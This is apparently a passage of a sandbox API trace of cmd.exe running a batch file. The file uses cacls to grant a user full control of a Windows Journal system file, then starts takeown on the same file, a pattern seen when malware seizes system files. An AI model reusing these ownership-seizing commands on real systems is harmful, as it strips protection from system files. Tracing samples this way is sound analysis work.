returned 1 [0120.474] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0120.474] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0120.474] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f078 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0120.474] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f078 | out: _Buffer=">") returned 1 [0120.474] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.474] GetFileType (hFile=0x7) returned 0x2 [0120.474] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0120.474] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f040 | out: lpMode=0x26f040) returned 1 [0120.474] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.474] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f06c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f06c*=0x26) returned 1 [0120.476] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.476] GetFileType (hFile=0x7) returned 0x2 [0120.476] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0120.476] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2c4 | out: lpMode=0x26f2c4) returned 1 [0120.476] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.476] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6712a8*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x26f2f0, lpReserved=0x0 | out: lpBuffer=0x6712a8*, lpNumberOfCharsWritten=0x26f2f0*=0x5) returned 1 [0120.477] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f2fc | out: _Buffer=" \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 90 [0120.477] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.477] GetFileType (hFile=0x7) returned 0x2 [0120.477] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0120.477] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2bc | out: lpMode=0x26f2bc) returned 1 [0120.477] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.477] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x5a, lpNumberOfCharsWritten=0x26f2e8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e8*=0x5a) returned 1 [0120.478] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f31c | out: _Buffer="\r\n") returned 2 [0120.478] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.478] GetFileType (hFile=0x7) returned 0x2 [0120.478] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0120.478] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2dc | out: lpMode=0x26f2dc) returned 1 [0120.478] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.478] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f308, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f308*=0x2) returned 1 [0120.479] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0120.479] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0120.479] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0120.479] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0120.479] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0120.479] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0120.479] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0120.479] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0120.479] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0120.479] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0120.479] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0120.479] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0120.479] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0120.479] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0120.479] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0120.479] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0120.479] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0120.479] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0120.479] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0120.479] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0120.479] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0120.479] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0120.479] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0120.479] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0120.479] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0120.480] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0120.480] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0120.480] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0120.480] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0120.480] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0120.480] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0120.480] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0120.480] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0120.480] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0120.480] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0120.480] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0120.480] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0120.480] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0120.480] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0120.480] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0120.480] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0120.480] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0120.480] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0120.480] GetProcessHeap () returned 0x670000 [0120.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x418) returned 0x686248 [0120.480] SetErrorMode (uMode=0x0) returned 0x0 [0120.480] SetErrorMode (uMode=0x1) returned 0x0 [0120.480] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x686250, lpFilePart=0x26f0c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f0c0*="Desktop") returned 0x25 [0120.480] SetErrorMode (uMode=0x0) returned 0x1 [0120.481] GetProcessHeap () returned 0x670000 [0120.481] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686248, Size=0x60) returned 0x686248 [0120.481] GetProcessHeap () returned 0x670000 [0120.481] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x686248) returned 0x60 [0120.481] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0120.481] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0120.481] GetProcessHeap () returned 0x670000 [0120.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x120) returned 0x6862b0 [0120.481] GetProcessHeap () returned 0x670000 [0120.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x238) returned 0x6863d8 [0120.483] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.483] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0xffffffff [0120.483] GetLastError () returned 0x2 [0120.483] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0xffffffff [0120.483] GetLastError () returned 0x2 [0120.483] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.484] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0x686588 [0120.484] GetProcessHeap () returned 0x670000 [0120.484] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6855d8, Size=0x4) returned 0x6855d8 [0120.484] FindClose (in: hFindFile=0x686588 | out: hFindFile=0x686588) returned 1 [0120.484] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0xffffffff [0120.484] GetLastError () returned 0x2 [0120.485] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0x686588 [0120.485] FindClose (in: hFindFile=0x686588 | out: hFindFile=0x686588) returned 1 [0120.485] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0120.485] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0120.485] GetConsoleTitleW (in: lpConsoleTitle=0x26ee8c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0120.485] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x686878, lpFilePart=0x26e9ac | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26e9ac*="Desktop") returned 0x25 [0120.485] SetErrorMode (uMode=0x0) returned 0x1 [0120.485] GetProcessHeap () returned 0x670000 [0120.485] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686870, Size=0x60) returned 0x686870 [0120.485] GetProcessHeap () returned 0x670000 [0120.485] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x686870) returned 0x60 [0120.485] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0120.486] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0120.486] GetProcessHeap () returned 0x670000 [0120.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x120) returned 0x6868d8 [0120.486] GetProcessHeap () returned 0x670000 [0120.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x238) returned 0x686a00 [0120.486] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.486] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0xffffffff [0120.486] GetLastError () returned 0x2 [0120.486] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0xffffffff [0120.486] GetLastError () returned 0x2 [0120.486] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.487] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0x686bb0 [0120.487] FindClose (in: hFindFile=0x686bb0 | out: hFindFile=0x686bb0) returned 1 [0120.487] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0xffffffff [0120.487] GetLastError () returned 0x2 [0120.487] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0x686bb0 [0120.487] FindClose (in: hFindFile=0x686bb0 | out: hFindFile=0x686bb0) returned 1 [0120.487] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0120.487] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0120.487] GetConsoleTitleW (in: lpConsoleTitle=0x26ec20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0120.488] InitializeProcThreadAttributeList (in: lpAttributeList=0x26eaa8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26eb70 | out: lpAttributeList=0x26eaa8, lpSize=0x26eb70) returned 1 [0120.488] UpdateProcThreadAttribute (in: lpAttributeList=0x26eaa8, dwFlags=0x0, Attribute=0x60001, lpValue=0x26eb68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26eaa8, lpPreviousValue=0x0) returned 1 [0120.488] GetStartupInfoW (in: lpStartupInfo=0x26ea64 | out: lpStartupInfo=0x26ea64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0120.488] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0120.491] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x26eb04*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26eb50 | out: lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x26eb50*(hProcess=0x74, hThread=0x78, dwProcessId=0xfac, dwThreadId=0xfb0)) returned 1 [0120.553] CloseHandle (hObject=0x78) returned 1 [0120.554] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0120.554] GetProcessHeap () returned 0x670000 [0120.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x687f38 | out: hHeap=0x670000) returned 1 [0120.554] GetEnvironmentStringsW () returned 0x687f38* [0120.554] GetProcessHeap () returned 0x670000 [0120.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb36) returned 0x688a78 [0120.554] FreeEnvironmentStringsW (penv=0x687f38) returned 1 [0120.554] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0122.521] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x26ea44 | out: lpExitCode=0x26ea44*=0x1f57) returned 1 [0122.522] CloseHandle (hObject=0x74) returned 1 [0122.522] _vsnwprintf (in: _Buffer=0x26eb8c, _BufferCount=0x13, _Format="%08X", _ArgList=0x26ea50 | out: _Buffer="00001F57") returned 8 [0122.522] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0122.522] GetProcessHeap () returned 0x670000 [0122.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x688a78 | out: hHeap=0x670000) returned 1 [0122.522] GetEnvironmentStringsW () returned 0x687f38* [0122.522] GetProcessHeap () returned 0x670000 [0122.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb5c) returned 0x68a120 [0122.523] FreeEnvironmentStringsW (penv=0x687f38) returned 1 [0122.523] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0122.523] GetProcessHeap () returned 0x670000 [0122.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68a120 | out: hHeap=0x670000) returned 1 [0122.523] GetEnvironmentStringsW () returned 0x687f38* [0122.523] GetProcessHeap () returned 0x670000 [0122.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb5c) returned 0x68a120 [0122.523] FreeEnvironmentStringsW (penv=0x687f38) returned 1 [0122.523] GetProcessHeap () returned 0x670000 [0122.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670db8 | out: hHeap=0x670000) returned 1 [0122.523] DeleteProcThreadAttributeList (in: lpAttributeList=0x26eaa8 | out: lpAttributeList=0x26eaa8) [0122.523] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.523] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0122.523] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.523] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0122.524] _get_osfhandle (_FileHandle=0) returned 0x3 [0122.524] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0122.524] SetConsoleInputExeNameW () returned 0x1 [0122.524] GetConsoleOutputCP () returned 0x1b5 [0122.524] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0122.524] SetThreadUILanguage (LangId=0x0) returned 0x409 [0122.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f2c4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0122.525] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0122.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0122.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686b30 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686a00 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6868d8 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686870 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6867a0 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686588 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686508 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6863d8 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6862b0 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686248 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686180 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6712a0 | out: hHeap=0x670000) returned 1 [0122.526] GetProcessHeap () returned 0x670000 [0122.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671240 | out: hHeap=0x670000) returned 1 [0122.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0122.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0122.526] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f2a8, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f2a8*=0xc2, lpOverlapped=0x0) returned 1 [0122.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0122.527] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0122.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0122.528] GetFileType (hFile=0x74) returned 0x1 [0122.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0122.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0122.528] GetProcessHeap () returned 0x670000 [0122.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400a) returned 0x694ab0 [0122.528] GetProcessHeap () returned 0x670000 [0122.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x694ab0 | out: hHeap=0x670000) returned 1 [0122.530] _tell (_FileHandle=3) returned 47 [0122.530] _close (_FileHandle=3) returned 0 [0122.530] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f07c | out: _Buffer="\r\n") returned 2 [0122.530] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.530] GetFileType (hFile=0x7) returned 0x2 [0122.530] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0122.530] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f03c | out: lpMode=0x26f03c) returned 1 [0122.531] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.531] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f068, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f068*=0x2) returned 1 [0122.532] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0122.532] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0122.532] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f078 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0122.532] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f078 | out: _Buffer=">") returned 1 [0122.532] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.532] GetFileType (hFile=0x7) returned 0x2 [0122.533] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0122.533] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f040 | out: lpMode=0x26f040) returned 1 [0122.533] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.533] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f06c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f06c*=0x26) returned 1 [0122.533] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.533] GetFileType (hFile=0x7) returned 0x2 [0122.534] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0122.534] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2c4 | out: lpMode=0x26f2c4) returned 1 [0122.534] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.534] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6712a8*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x26f2f0, lpReserved=0x0 | out: lpBuffer=0x6712a8*, lpNumberOfCharsWritten=0x26f2f0*=0x7) returned 1 [0122.534] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f2fc | out: _Buffer=" /F \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\" ") returned 61 [0122.534] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.534] GetFileType (hFile=0x7) returned 0x2 [0122.535] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0122.535] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2bc | out: lpMode=0x26f2bc) returned 1 [0122.535] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.535] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x26f2e8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e8*=0x3d) returned 1 [0122.536] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f31c | out: _Buffer="\r\n") returned 2 [0122.536] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.536] GetFileType (hFile=0x7) returned 0x2 [0122.537] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0122.537] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2dc | out: lpMode=0x26f2dc) returned 1 [0122.537] _get_osfhandle (_FileHandle=1) returned 0x7 [0122.537] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f308, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f308*=0x2) returned 1 [0122.538] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0122.538] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0122.538] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0122.538] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0122.538] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0122.539] _wcsicmp (_String1="takeown", _String2="CD") returned 17 